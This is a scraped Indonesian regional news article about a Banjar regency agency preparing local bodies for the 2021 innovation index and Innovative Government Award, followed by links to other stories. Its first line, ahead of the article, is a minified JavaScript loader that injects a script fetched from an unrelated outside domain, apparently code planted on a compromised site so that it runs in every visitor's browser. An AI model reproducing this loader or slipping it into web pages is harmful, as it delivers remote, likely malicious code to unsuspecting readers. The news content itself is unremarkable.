(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Penelitian dan Pengembangan (Bappelitbang) Kabupaten Banjar menggelar kegiatan asistensi penilaian indeks inovasi daerah dan pemberian penghargaan Innovative Government Award (IGA) tahun 2021, 26-27 Juli 2021.
Acara dibuka Sekretaris Bappelitbang Banjar Jurji Zaidan didampingi Kabid Litbang Data dan Inovasi Ridwan Sya’rani dan Plt Kasubbid Litbang Merilu Ripner di aula Baiman Martapura.
Disampaikan Jurji, kegiatan ini sebagai tindak lanjut dari surat Kemendagri RI Nomor 002.6/3363/SJ Tanggal 8 juni 2021 terkait Penilaian Indeks Inovasi Daerah dan Pemberian Penghargaan innovative Goverment Award (IGA) yang akan dilaksanakan di tahun 2021.
“Indeks Kabupaten Banjar tahun 2020 tadi berada di posisi tidak inovatif, dan rencananya kita akan mereplikasi Kabupaten HSS yang masuk dalam 10 besar predikat Kabupaten Terinovatif,” ujar Jurji dikutip dari Media Center Banjar.
Baca juga: Distribusi Oksigen di Kalsel Hanya ke Rumah Sakit, Ini Langkah untuk Kebutuhan Pribadi
“Oleh karena itu kami sangat mengharapkan kerjasama rekan-rekan yang berada di SKPD, Kecamatan. Kelurahan serta UPT Puskesmas untuk melengkapi data serta dokumen yang akan dimasukkan dalam form isian aplikasi yang disediakan kemendagri karena setiap isian dokumen kelengkapan mempunyai point-point tertentu,” jelas Sekretaris Bappelitbang.
Senada dengan Sekretaris Bappelitbang Ridwan selaku Kabid Litbang Data dan Informasi mengucapkan terima kasih atas kehadiran para peserta, menurutnya rapat ini tidak bisa dilaksanakan secara daring karena penjelasan serta petunjuk pengisian sangat diperlukan secara langsung agar inovator benar-benar mengerti tentatang tata cara pengisiannya tentunya dengan tetap menerapkan protokol standar kesehatan.
Baca juga: Dua Hari PPKM Level 4 di Banjarbaru, Begini Nasib PKL di Lapangan Murjani
Sementara itu, Plt Litbang Merilu Ripner menjelaskan secara singkat bahwa di tahun 2020 jumlah inovasi 17.674 inovasi, termasuk inovasi menanggulangi pandemik Covid-19.
“Pemerintah daerah yang dinilai berhasil menerapkan inovasinya dan berdampak signifikan bagi kemajuan daerahnya diberikan penghargaan dan insentif sebagai bentuk motivasi dan pengakuan terhadap pelaksanaan inovasi di pemerintah daerah tersebut,” ungkapnya.
“Saat ini kita sudah berkoordinasi dengan bidang organisasi terkait pemberian reward untuk inovator terbaik, rencananya di hari jadi akan ada pemberian penghargaan atas inovasi terbai yang masuk IGA,” jelasnya.
“Paling lambat pengisian indeks inovasi ditanggal 13 Agustus 2021,” tegasnya.
Acara rapat ini diisi dengan diskusi tanya jawab serta penjelasan tata cara pengisian form isian serta dokumen-dokumen apa saja yang harus diupload. (kanalkalimantan.com/mcbanjar)
Reporter: mcbanjar
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More
KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More
KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
This website uses cookies.